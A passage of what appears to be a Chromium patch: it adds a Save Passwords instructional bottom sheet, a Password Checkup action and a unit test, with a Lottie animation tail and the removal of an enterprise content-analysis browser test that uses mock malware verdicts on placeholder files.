Group","hd":false},{"ty":"fl","c":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":0,"s":[0.827450990677,0.890196084976,0.992156863213,1]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":20,"s":[0.827450990677,0.890196084976,0.992156863213,1]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":21,"s":[0.486274510622,0.674509823322,0.972549021244,1]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":57,"s":[0.486274510622,0.674509823322,0.972549021244,1]},{"t":58,"s":[0.827450990677,0.890196084976,0.992156863213,1]}],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":221,"st":0,"ct":1,"bm":0},{"ddd":0,"ind":17,"ty":4,"nm":"omnibox","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[200,112.5,0],"ix":2,"l":2},"a":{"a":0,"k":[0,0,0],"ix":1,"l":2},"s":{"a":0,"k":[100,100,100],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,8.837],[-8.837,0],[0,0],[0,-8.837],[8.837,0],[0,0]],"o":[[0,-8.837],[0,0],[8.837,0],[0,8.837],[0,0],[-8.837,0]],"v":[[-126,0],[-110,-16],[110,-16],[126,0],[110,16],[-110,16]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"fl","c":{"a":0,"k":[0.827450990677,0.890196084976,0.992156863213,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 1","np":2,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":240,"st":0,"ct":1,"bm":0},{"ddd":0,"ind":18,"ty":4,"nm":"gradient","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[200.281,138.326,0],"ix":2,"l":2},"a":{"a":0,"k":[-1.3,-9.174,0],"ix":1,"l":2},"s":{"a":0,"k":[98.348,131.625,100],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ty":"rc","d":1,"s":{"a":0,"k":[284.355,61.277],"ix":2},"p":{"a":0,"k":[0,0],"ix":3},"r":{"a":0,"k":0,"ix":4},"nm":"Rectangle Path 1","mn":"ADBE Vector Shape - Rect","hd":false},{"ty":"gf","o":{"a":0,"k":100,"ix":10},"r":1,"bm":0,"g":{"p":3,"k":{"a":0,"k":[0,1,1,1,0.5,0.973,0.983,1,1,0.945,0.967,1],"ix":9}},"s":{"a":0,"k":[-109.314,0],"ix":5},"e":{"a":0,"k":[127.72,0],"ix":6},"t":1,"nm":"Gradient Fill 1","mn":"ADBE Vector Graphic - G-Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[-1.3,20.865],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[21.128,460.004],"ix":3},"r":{"a":0,"k":-90,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Rectangle 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":240,"st":0,"ct":1,"bm":0},{"ddd":0,"ind":19,"ty":4,"nm":"device","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[200,218,0],"ix":2,"l":2},"a":{"a":0,"k":[206,156,0],"ix":1,"l":2},"s":{"a":0,"k":[139,139,100],"ix":6,"l":2}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[-17.121,0],[0,0],[0,-17.121],[0,0],[17.121,0],[0,0],[0,17.121],[0,0]],"o":[[0,0],[17.121,0],[0,0],[0,17.121],[0,0],[-17.121,0],[0,0],[0,-17.121]],"v":[[-72,-226.5],[72,-226.5],[103,-195.5],[103,195.5],[72,226.5],[-72,226.5],[-103,195.5],[-103,-195.5]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"st","c":{"a":0,"k":[0.207843152214,0.207843152214,0.207843152214,1],"ix":3},"o":{"a":0,"k":100,"ix":4},"w":{"a":0,"k":6,"ix":5},"lc":1,"lj":1,"ml":4,"bm":0,"nm":"Stroke 1","mn":"ADBE Vector Graphic - Stroke","hd":false},{"ty":"tr","p":{"a":0,"k":[206,260.5],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 2","np":2,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false},{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[-18.778,0],[0,0],[0,-18.778],[0,0],[18.778,0],[0,0],[0,18.778],[0,0]],"o":[[0,0],[18.778,0],[0,0],[0,18.778],[0,0],[-18.778,0],[0,0],[0,-18.778]],"v":[[-72,-229.5],[72,-229.5],[106,-195.5],[106,195.5],[72,229.5],[-72,229.5],[-106,195.5],[-106,-195.5]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"st","c":{"a":0,"k":[0.305882352941,0.639215686275,0.686274509804,1],"ix":3},"o":{"a":0,"k":100,"ix":4},"w":{"a":0,"k":12,"ix":5},"lc":1,"lj":1,"ml":4,"bm":0,"nm":"Stroke 1","mn":"ADBE Vector Graphic - Stroke","hd":false},{"ty":"tr","p":{"a":0,"k":[206,260.5],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 3","np":2,"cix":2,"bm":0,"ix":2,"mn":"ADBE Vector Group","hd":false},{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[-22.091,0],[0,0],[0,-22.091],[0,0],[22.091,0],[0,0],[0,22.091],[0,0]],"o":[[0,0],[22.091,0],[0,0],[0,22.091],[0,0],[-22.091,0],[0,0],[0,-22.091]],"v":[[-72,-143.5],[72,-143.5],[112,-103.5],[112,275.5],[72,315.5],[-72,315.5],[-112,275.5],[-112,-103.5]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"fl","c":{"a":0,"k":[1,1,1,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[206,168.5],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 4","np":4,"cix":2,"bm":0,"ix":3,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":201,"st":0,"ct":1,"bm":0}],"markers":[]}
\ No newline at end of file
diff --git a/chrome/browser/educational_tip/java/res/values/dimens.xml b/chrome/browser/educational_tip/java/res/values/dimens.xml
index 3431e5f..290b75a 100644
--- a/chrome/browser/educational_tip/java/res/values/dimens.xml
+++ b/chrome/browser/educational_tip/java/res/values/dimens.xml
@@ -22,7 +22,7 @@
   <!-- Default browser promo card dimens -->
   <dimen name="default_browser_bottom_sheet_drag_handel_bar_height">4dp</dimen>
   <dimen name="default_browser_bottom_sheet_drag_handel_bar_margin_vertical">8dp</dimen>
-  <dimen name="default_browser_bottom_sheet_drag_handel_bar_width">32dp</dimen>
+  <dimen name="default_browser_bottom_sheet_drag_handle_bar_width">32dp</dimen>
   <dimen name="default_browser_bottom_sheet_scroll_view_padding_lateral">24dp</dimen>
   <dimen name="default_browser_bottom_sheet_icon_container_height">99dp</dimen>
   <dimen name="default_browser_bottom_sheet_icon_container_margin_top">4dp</dimen>
@@ -37,4 +37,8 @@
   <dimen name="default_browser_bottom_sheet_step_content_margin_start">16dp</dimen>
   <dimen name="default_browser_bottom_sheet_button_margin_top">16dp</dimen>
   <dimen name="default_browser_bottom_sheet_button_margin_bottom">24dp</dimen>
+
+  <!-- Educational tip instructional bottom sheet dimens -->
+  <dimen name="save_passwords_instructional_bottom_sheet_animation_height">250dp</dimen>
+  <dimen name="save_passwords_instructional_bottom_sheet_step_vertical_padding">12dp</dimen>
 </resources>
diff --git a/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/EducationTipModuleActionDelegate.java b/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/EducationTipModuleActionDelegate.java
index db1076b..c9f8c90 100644
--- a/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/EducationTipModuleActionDelegate.java
+++ b/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/EducationTipModuleActionDelegate.java
@@ -48,6 +48,9 @@
     /** Opens the settings page for the Tips Notifications channel. */
     void showTipsNotificationsChannelSettings();
 
+    /** Opens the Password Checkup UI. */
+    void showPasswordCheckup();
+
     /**
      * Returns the total number of tabs for relaunch across both regular and incognito browsing
      * modes from persisted state.
diff --git a/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/EducationalTipCardProviderFactory.java b/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/EducationalTipCardProviderFactory.java
index 7c341ee0..7a7aaf98 100644
--- a/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/EducationalTipCardProviderFactory.java
+++ b/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/EducationalTipCardProviderFactory.java
@@ -62,7 +62,8 @@
             case ModuleType.SIGN_IN_PROMO:
                 return new SignInPromoCoordinator(onModuleClickedCallback, actionDelegate);
             case ModuleType.SAVE_PASSWORDS_PROMO:
-                return new SavePasswordsPromoCoordinator(onModuleClickedCallback, actionDelegate);
+                return new SavePasswordsPromoCoordinator(
+                        onModuleClickedCallback, callbackController, actionDelegate);
             case ModuleType.PASSWORD_CHECKUP_PROMO:
                 return new PasswordCheckupPromoCoordinator(onModuleClickedCallback, actionDelegate);
             default:
diff --git a/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/cards/PasswordCheckupPromoCoordinator.java b/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/cards/PasswordCheckupPromoCoordinator.java
index 93b4d105..fcc230d 100644
--- a/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/cards/PasswordCheckupPromoCoordinator.java
+++ b/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/cards/PasswordCheckupPromoCoordinator.java
@@ -61,7 +61,8 @@
 
     @Override
     public void onCardClicked() {
-        // TODO(crbug.com/469425754): Open password manager
+        mActionDelegate.showPasswordCheckup();
+
         // Considered complete if the user clicks on the promo
         SetupListModuleUtils.setModuleCompleted(ModuleType.PASSWORD_CHECKUP_PROMO);
 
diff --git a/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/cards/SavePasswordsInstructionalBottomSheetContent.java b/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/cards/SavePasswordsInstructionalBottomSheetContent.java
new file mode 100644
index 0000000..c32eb77d87
--- /dev/null
+++ b/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/cards/SavePasswordsInstructionalBottomSheetContent.java
@@ -0,0 +1,98 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.educational_tip.cards;
+
+import android.content.Context;
+import android.content.res.Resources;
+import android.view.View;
+
+import androidx.annotation.StringRes;
+
+import org.chromium.build.annotations.NullMarked;
+import org.chromium.build.annotations.Nullable;
+import org.chromium.components.browser_ui.bottomsheet.BottomSheetContent;
+
+/**
+ * Bottom sheet content for the Save Passwords instructional promo. Displays a layout with
+ * instructional steps and an animation.
+ */
+@NullMarked
+public class SavePasswordsInstructionalBottomSheetContent implements BottomSheetContent {
+    private final View mContentView;
+    private final String mContentDescription;
+    private final @StringRes int mOpenedFullAccessibilityStringId;
+    private final @StringRes int mClosedAccessibilityStringId;
+
+    /**
+     * @param view The inflated view to be shown in the bottom sheet.
+     * @param contentDescription The accessibility description for the sheet.
+     * @param openedFullAccessibilityStringId The accessibility string announced when opened.
+     * @param closedAccessibilityStringId The accessibility string announced when closed.
+     */
+    public SavePasswordsInstructionalBottomSheetContent(
+            View view,
+            String contentDescription,
+            @StringRes int openedFullAccessibilityStringId,
+            @StringRes int closedAccessibilityStringId) {
+        mContentView = view;
+        mContentDescription = contentDescription;
+        mOpenedFullAccessibilityStringId = openedFullAccessibilityStringId;
+        mClosedAccessibilityStringId = closedAccessibilityStringId;
+    }
+
+    @Override
+    public View getContentView() {
+        return mContentView;
+    }
+
+    @Override
+    public @Nullable View getToolbarView() {
+        return null;
+    }
+
+    @Override
+    public int getVerticalScrollOffset() {
+        return 0;
+    }
+
+    @Override
+    public void destroy() {}
+
+    @Override
+    public int getPriority() {
+        return BottomSheetContent.ContentPriority.HIGH;
+    }
+
+    @Override
+    public boolean swipeToDismissEnabled() {
+        return false;
+    }
+
+    @Override
+    public float getFullHeightRatio() {
+        return BottomSheetContent.HeightMode.WRAP_CONTENT;
+    }
+
+    @Override
+    public String getSheetContentDescription(Context context) {
+        return mContentDescription;
+    }
+
+    @Override
+    public @StringRes int getSheetHalfHeightAccessibilityStringId() {
+        assert false : "This method will not be called.";
+        return Resources.ID_NULL;
+    }
+
+    @Override
+    public @StringRes int getSheetFullHeightAccessibilityStringId() {
+        return mOpenedFullAccessibilityStringId;
+    }
+
+    @Override
+    public @StringRes int getSheetClosedAccessibilityStringId() {
+        return mClosedAccessibilityStringId;
+    }
+}
diff --git a/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/cards/SavePasswordsPromoCoordinator.java b/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/cards/SavePasswordsPromoCoordinator.java
index 4ba327b..06b6adfa 100644
--- a/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/cards/SavePasswordsPromoCoordinator.java
+++ b/chrome/browser/educational_tip/java/src/org/chromium/chrome/browser/educational_tip/cards/SavePasswordsPromoCoordinator.java
@@ -4,15 +4,28 @@
 
 package org.chromium.chrome.browser.educational_tip.cards;
 
+import static org.chromium.build.NullUtil.assumeNonNull;
+
+import android.view.LayoutInflater;
+import android.view.View;
+import android.widget.TextView;
+
 import androidx.annotation.DrawableRes;
 
+import com.airbnb.lottie.LottieAnimationView;
+
+import org.chromium.base.CallbackController;
 import org.chromium.build.annotations.NullMarked;
+import org.chromium.build.annotations.Nullable;
 import org.chromium.chrome.browser.educational_tip.EducationTipModuleActionDelegate;
 import org.chromium.chrome.browser.educational_tip.EducationalTipCardProvider;
 import org.chromium.chrome.browser.educational_tip.R;
 import org.chromium.chrome.browser.magic_stack.ModuleDelegate.ModuleType;
 import org.chromium.chrome.browser.setup_list.SetupListCompletable;
 import org.chromium.chrome.browser.setup_list.SetupListModuleUtils;
+import org.chromium.components.browser_ui.bottomsheet.BottomSheetController;
+import org.chromium.components.browser_ui.bottomsheet.BottomSheetController.StateChangeReason;
+import org.chromium.ui.widget.ButtonCompat;
 
 /** Coordinator for the Save Passwords promo card. */
 @NullMarked
@@ -21,13 +34,19 @@
     private final Runnable mOnModuleClickedCallback;
     private final EducationTipModuleActionDelegate mActionDelegate;
 
+    private @Nullable SavePasswordsInstructionalBottomSheetContent mSavePasswordsBottomSheetContent;
+    private @Nullable ButtonCompat mGotItButton;
+
     /**
      * @param onModuleClickedCallback The callback to be called when the module is clicked.
+     * @param callbackController The instance of {@link CallbackController}.
      * @param actionDelegate The instance of {@link EducationTipModuleActionDelegate}.
      */
     public SavePasswordsPromoCoordinator(
-            Runnable onModuleClickedCallback, EducationTipModuleActionDelegate actionDelegate) {
-        mOnModuleClickedCallback = onModuleClickedCallback;
+            Runnable onModuleClickedCallback,
+            CallbackController callbackController,
+            EducationTipModuleActionDelegate actionDelegate) {
+        mOnModuleClickedCallback = callbackController.makeCancelable(onModuleClickedCallback);
         mActionDelegate = actionDelegate;
     }
 
@@ -59,8 +78,7 @@
 
     @Override
     public void onCardClicked() {
-        // TODO(crbug.com/469425754): Displays a bottom sheet with instructions to save passwords
-        // along with an animation
+        showInstructionalBottomSheet();
 
         // Considered complete if the user clicks on the promo
         SetupListModuleUtils.setModuleCompleted(ModuleType.SAVE_PASSWORDS_PROMO);
@@ -76,4 +94,85 @@
     public @DrawableRes int getCardImageCompletedResId() {
         return R.drawable.setup_list_completed_background_wavy_circle;
     }
+
+    @Override
+    public void destroy() {
+        if (mGotItButton != null) {
+            mGotItButton.setOnClickListener(null);
+            mGotItButton = null;
+        }
+
+        if (mSavePasswordsBottomSheetContent != null) {
+            mActionDelegate
+                    .getBottomSheetController()
+                    .hideContent(mSavePasswordsBottomSheetContent, /* animate= */ false);
+            mSavePasswordsBottomSheetContent.destroy();
+            mSavePasswordsBottomSheetContent = null;
+        }
+    }
+
+    @Nullable SavePasswordsInstructionalBottomSheetContent getBottomSheetContent() {
+        return mSavePasswordsBottomSheetContent;
+    }
+
+    private void showInstructionalBottomSheet() {
+        View view =
+                LayoutInflater.from(mActionDelegate.getContext())
+                        .inflate(
+                                R.layout.save_passwords_instructional_bottom_sheet,
+                                /* root= */ null);
+
+        LottieAnimationView animationView = view.findViewById(R.id.instructional_animation);
+        animationView.setAnimation(R.raw.save_passwords_animation);
+        animationView.playAnimation();
+
+        ((TextView) view.findViewById(R.id.title))
+                .setText(R.string.educational_tip_save_passwords_title);
+
+        ((TextView) view.findViewById(R.id.step_1_content))
+                .setText(R.string.educational_tip_save_passwords_bottom_sheet_first_step);
+
+        TextView step2 = view.findViewById(R.id.step_2_content);
+        step2.setText(R.string.educational_tip_save_passwords_bottom_sheet_second_step);
+        step2.setContentDescription(
+                mActionDelegate
+                        .getContext()
+                        .getString(
+                                R.string.educational_tip_save_passwords_bottom_sheet_second_step));
+
+        TextView step3 = view.findViewById(R.id.step_3_content);
+        step3.setText(R.string.educational_tip_save_passwords_bottom_sheet_third_step);
+        step3.setContentDescription(
+                mActionDelegate
+                        .getContext()
+                        .getString(
+                                R.string.educational_tip_save_passwords_bottom_sheet_third_step));
+
+        mGotItButton = view.findViewById(R.id.button);
+        assumeNonNull(mGotItButton).setText(R.string.got_it);
+
+        mSavePasswordsBottomSheetContent =
+                new SavePasswordsInstructionalBottomSheetContent(
+                        view,
+                        mActionDelegate
+                                .getContext()
+                                .getString(
+                                        R.string
+                                                .educational_tip_save_passwords_bottom_sheet_content_description),
+                        R.string
+                                .educational_tip_save_passwords_bottom_sheet_accessibility_opened_full,
+                        R.string.educational_tip_save_passwords_bottom_sheet_accessibility_closed);
+
+        BottomSheetController bottomSheetController = mActionDelegate.getBottomSheetController();
+        bottomSheetController.requestShowContent(
+                mSavePasswordsBottomSheetContent, /* animate= */ true);
+
+        final SavePasswordsInstructionalBottomSheetContent content =
+                mSavePasswordsBottomSheetContent;
+        mGotItButton.setOnClickListener(
+                (v) -> {
+                    bottomSheetController.hideContent(
+                            content, /* animate= */ true, StateChangeReason.INTERACTION_COMPLETE);
+                });
+    }
 }
diff --git a/chrome/browser/educational_tip/junit/src/org/chromium/chrome/browser/educational_tip/cards/SavePasswordsPromoCoordinatorUnitTest.java b/chrome/browser/educational_tip/junit/src/org/chromium/chrome/browser/educational_tip/cards/SavePasswordsPromoCoordinatorUnitTest.java
new file mode 100644
index 0000000..366fd77
--- /dev/null
+++ b/chrome/browser/educational_tip/junit/src/org/chromium/chrome/browser/educational_tip/cards/SavePasswordsPromoCoordinatorUnitTest.java
@@ -0,0 +1,83 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.educational_tip.cards;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyBoolean;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+import androidx.test.filters.SmallTest;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+import org.robolectric.RuntimeEnvironment;
+import org.robolectric.annotation.Config;
+
+import org.chromium.base.CallbackController;
+import org.chromium.base.test.BaseRobolectricTestRunner;
+import org.chromium.build.annotations.Nullable;
+import org.chromium.chrome.browser.educational_tip.EducationTipModuleActionDelegate;
+import org.chromium.components.browser_ui.bottomsheet.BottomSheetController;
+import org.chromium.ui.shadows.ShadowAppCompatResources;
+import org.chromium.ui.widget.ButtonCompat;
+
+/** Test relating to {@link SavePasswordsPromoCoordinator} */
+@RunWith(BaseRobolectricTestRunner.class)
+@Config(
+        manifest = Config.NONE,
+        shadows = {ShadowAppCompatResources.class})
+public class SavePasswordsPromoCoordinatorUnitTest {
+    @Rule public MockitoRule mMockitoRule = MockitoJUnit.rule();
+
+    @Mock private Runnable mOnModuleClickedCallback;
+    @Mock private BottomSheetController mBottomSheetController;
+    @Mock private EducationTipModuleActionDelegate mActionDelegate;
+
+    private SavePasswordsPromoCoordinator mSavePasswordsPromoCoordinator;
+    private CallbackController mCallbackController;
+
+    @Before
+    public void setUp() {
+        mCallbackController = new CallbackController();
+        RuntimeEnvironment.application.setTheme(
+                org.chromium.chrome.browser.educational_tip.R.style.Theme_AppCompat);
+        when(mActionDelegate.getContext()).thenReturn(RuntimeEnvironment.application);
+        when(mActionDelegate.getBottomSheetController()).thenReturn(mBottomSheetController);
+
+        mSavePasswordsPromoCoordinator =
+                new SavePasswordsPromoCoordinator(
+                        mOnModuleClickedCallback, mCallbackController, mActionDelegate);
+    }
+
+    @After
+    public void tearDown() {
+        mCallbackController.destroy();
+    }
+
+    @Test
+    @SmallTest
+    public void testSavePasswordsPromoCardBottomSheet() {
+        mSavePasswordsPromoCoordinator.onCardClicked();
+
+        verify(mBottomSheetController).requestShowContent(any(), anyBoolean());
+        verify(mOnModuleClickedCallback).run();
+
+        @Nullable SavePasswordsInstructionalBottomSheetContent content =
+                mSavePasswordsPromoCoordinator.getBottomSheetContent();
+        ButtonCompat button =
+                content.getContentView()
+                        .findViewById(org.chromium.chrome.browser.educational_tip.R.id.button);
+        button.performClick();
+        verify(mBottomSheetController).hideContent(any(), anyBoolean(), anyInt());
+    }
+}
diff --git a/chrome/browser/enterprise/connectors/analysis/content_analysis_delegate_browsertest.cc b/chrome/browser/enterprise/connectors/analysis/content_analysis_delegate_browsertest.cc
index 796f12c4..6fbed23 100644
--- a/chrome/browser/enterprise/connectors/analysis/content_analysis_delegate_browsertest.cc
+++ b/chrome/browser/enterprise/connectors/analysis/content_analysis_delegate_browsertest.cc
@@ -510,316 +510,6 @@
   content_analysis_run_loop.Run();
 }
 
-IN_PROC_BROWSER_TEST_P(ContentAnalysisDelegateBrowserTest, Files) {
-  base::ScopedAllowBlockingForTesting allow_blocking;
-
-  // Set up delegate and upload service.
-  EnableUploadsScanningAndReporting();
-
-  base::RunLoop content_analysis_run_loop;
-  ContentAnalysisDelegate::SetFactoryForTesting(
-      base::BindRepeating(&MinimalFakeContentAnalysisDelegate::Create,
-                          content_analysis_run_loop.QuitClosure()));
-
-  FakeBinaryUploadServiceStorage()->SetAuthorized(true);
-  FakeBinaryUploadServiceStorage()->SetShouldAutomaticallyAuthorize(true);
-
-  // Create the files to be opened and scanned.
-  ContentAnalysisDelegate::Data data;
-  CreateFilesForTest({"ok.doc", "bad.exe"},
-                     {"ok file content", "bad file content"}, &data);
-  ASSERT_TRUE(ContentAnalysisDelegate::IsEnabled(
-      browser()->profile(), GURL(kTestUrl), &data, FILE_ATTACHED));
-
-  // The malware verdict means an event should be reported.
-  test::EventReportValidator validator(client());
-
-  if (use_proto_format()) {
-    chrome::cros::reporting::proto::SafeBrowsingDangerousDownloadEvent
-        expected_event;
-    expected_event.set_url("about:blank");
-    expected_event.set_tab_url("about:blank");
-    expected_event.set_source("");
-    expected_event.set_destination("");
-#if BUILDFLAG(IS_CHROMEOS)
-    expected_event.set_file_name("bad.exe");
-#else
-    machine_scope()
-        ? expected_event.set_file_name(created_file_paths()[1].AsUTF8Unsafe())
-        : expected_event.set_file_name("bad.exe");
-#endif
-    expected_event.set_content_size(16);
-    expected_event.set_download_digest_sha256(
-        "77AE96C38386429D28E53F5005C46C7B4D8D39BE73D757CE61E0AE65CC1A5A5D");
-    expected_event.set_threat_type(
-        chrome::cros::reporting::proto::SafeBrowsingDangerousDownloadEvent::
-            DANGEROUS);
-
-    expected_event.set_scan_id(kScanId2);
-    expected_event.set_trigger(
-        chrome::cros::reporting::proto::DataTransferEventTrigger::FILE_UPLOAD);
-
-    expected_event.set_event_result(
-        chrome::cros::reporting::proto::EventResult::EVENT_RESULT_BLOCKED);
-    expected_event.set_clicked_through(false);
-
-    ::chrome::cros::reporting::proto::UrlInfo referrers;
-    referrers.set_url("about:blank");
-    *expected_event.add_referrers() = referrers;
-
-    expected_event.set_profile_identifier(GetProfileIdentifier());
-    expected_event.set_profile_user_name(kUserName);
-
-    validator.ExpectDangerousDownloadEvent(std::move(expected_event),
-                                           ExeMimeTypes());
-  } else {
-    validator.ExpectDangerousDeepScanningResult(
-        /*url*/ "about:blank",
-        /*tab_url*/ "about:blank",
-        /*source*/ "",
-        /*destination*/ "",
-        /*filename*/
-        machine_scope() ? created_file_paths()[1].AsUTF8Unsafe() : "bad.exe",
-        // printf "bad file content" | sha256sum |  tr '[:lower:]' '[:upper:]'
-        /*sha*/
-        "77AE96C38386429D28E53F5005C46C7B4D8D39BE73D757CE61E0AE65CC1A5A5D",
-        /*threat_type*/ "DANGEROUS",
-        /*trigger*/ kFileUploadDataTransferEventTrigger,
-        /*mimetypes*/ ExeMimeTypes(),
-        /*size*/ std::string("bad file content").size(),
-        /*result*/
-        EventResultToString(EventResult::BLOCKED),
-        /*username*/ kUserName,
-        /*profile_identifier*/ GetProfileIdentifier(),
-        /*scan_id*/ kScanId2);
-  }
-
-  ContentAnalysisResponse ok_response;
-  ok_response.set_request_token(kScanId1);
-  auto* ok_result = ok_response.add_results();
-  ok_result->set_status(ContentAnalysisResponse::Result::SUCCESS);
-  ok_result->set_tag("malware");
-
-  ContentAnalysisResponse bad_response;
-  bad_response.set_request_token(kScanId2);
-  auto* bad_result = bad_response.add_results();
-  bad_result->set_status(ContentAnalysisResponse::Result::SUCCESS);
-  bad_result->set_tag("malware");
-  auto* bad_rule = bad_result->add_triggered_rules();
-  bad_rule->set_action(TriggeredRule::BLOCK);
-  bad_rule->set_rule_name("malware");
-
-  FakeBinaryUploadServiceStorage()->SetResponseForFile(
-      created_file_paths()[0].AsUTF8Unsafe(), ScanRequestUploadResult::kSuccess,
-      ok_response);
-  FakeBinaryUploadServiceStorage()->SetExpectedFinalAction(
-      kScanId1, ContentAnalysisAcknowledgement::ALLOW);
-  FakeBinaryUploadServiceStorage()->SetResponseForFile(
-      created_file_paths()[1].AsUTF8Unsafe(), ScanRequestUploadResult::kSuccess,
-      bad_response);
-  FakeBinaryUploadServiceStorage()->SetExpectedFinalAction(
-      kScanId2, ContentAnalysisAcknowledgement::BLOCK);
-
-  bool called = false;
-  base::RunLoop run_loop;
-  SetQuitClosure(run_loop.QuitClosure());
-
-  // Start test.
-  ContentAnalysisDelegate::CreateForWebContents(
-      browser()->tab_strip_model()->GetActiveWebContents(), std::move(data),
-      base::BindLambdaForTesting(
-          [&called](const ContentAnalysisDelegate::Data& data,
-                    ContentAnalysisDelegate::Result& result) {
-            ASSERT_TRUE(result.text_results.empty());
-            ASSERT_EQ(result.paths_results.size(), 2u);
-            ASSERT_TRUE(result.paths_results[0]);
-            ASSERT_FALSE(result.paths_results[1]);
-            called = true;
-          }),
-      DeepScanAccessPoint::UPLOAD);
-
